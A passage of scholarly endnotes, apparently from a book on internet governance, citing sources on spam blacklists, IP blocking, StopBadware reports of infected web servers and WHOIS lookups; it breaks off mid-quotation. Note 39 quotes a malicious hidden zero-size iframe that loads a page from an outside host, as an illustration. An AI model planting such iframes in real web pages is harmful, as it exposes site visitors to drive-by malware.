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31. Paul Festa, Hotmail Uses Controversial Filter to Fight Spam, CNET NEWS.COM, Nov. 9,
1999, http://news.com.com/Hotmailusescontroversialfiltertofightspam/
2100-1040_3-232706.html.
32. Id. (“MAPS has used the RBL primarily to pressure server administrators to mend their
policies, according to supporters. ‘The RBL is an educational tool for applying pressure
more than a technical tool,’ said John Mozena, vice president of CAUCE, which has ties
to both Hotmail and MAPS. ‘The wider implementation it has, the more important it
becomes, because that increases the number of people your users can’t reach if you’re not
playing well with others.’”).
33. See Kieren McCarthy, Anti-Spammers Turn Guns on Each Other, THE REGISTER, July 19,
2000, http://www.theregister.co.uk/2000/07/19/antispammers_turn_guns_on_each/.
34. See Class Notes from Matt Anestis, Internet & Society 1999, Class 10: Barbed Wire on
the Electronic Frontier: Private Armies & Their Private Weapons, available at http://
cyber.law.harvard.edu/is99/scribes10.html.
35. See Kiri Blakeley, Spam Warfare, FORBES, Sept. 18, 2000, at 230.
36. See Laura Frieder & Jonathan Zittrain, Spam Works: Evidence from Stock Touts, 2007,
Berkman Center Research Publication No. 2006-11, available at http://ssrn.com/abstract
920553.
37. The same problem arises when states attempt to compel Internet Service Providers to
block faraway content such as child abuse images. The blocks are usually permanently
implemented using tools developed in the fight against hackers, and they block IP addresses
that can later belong to an entirely innocent party. See Jonathan Zittrain, Internet
Points of Control., 44 B.C. L. REV. 653 (2003).
38. See supra Ch. 3, & text accompanying note 101.
39. For example, one iframe exploit was: [iframe src”http://isecurepages.net/out.phps
_id11” width0 height0] [/iframe].
40. See Stopbadware.org, Frequently Asked Questions, Questions About Websites That Are
the Subject of Google Warnings, http://www.stopbadware.org/home/faq#partnerwarnings-search.
41. Per Chapter 3: Google and StopBadware.org, which collaborate on tracking and eliminating
Web server exploits, report hundredfold increases in exploits between August of
2006 and March of 2007. In February of 2007 alone, Google reported that 11,125
servers believed to be infected.
42. By visiting a site like www.webtong.com, which searches WHOIS records lodged by domain
name registrants, and typing in a domain name, one can find the contact information
a domain owner provided. For example, a search for google.com provided the
e-mail address “contact-admin@google.com.” See Search Domain Name Data, http://
www.webtong.com/services/domain/whois.html (last visited May 11, 2007).
43. In an e-mail, the Web site owner stated, “I believe the problem that brought this issue up
was on ... [a] bulletin board that was in .php. ... We turned off the bulletin board.
Someone had hacked us and then installed something that ran an ‘Active X’ something
or rather. It would be caught with any standard security software like McAfee. What is
unfortunate is that the bulletin board is rarely used at all, no one uses it actually. So we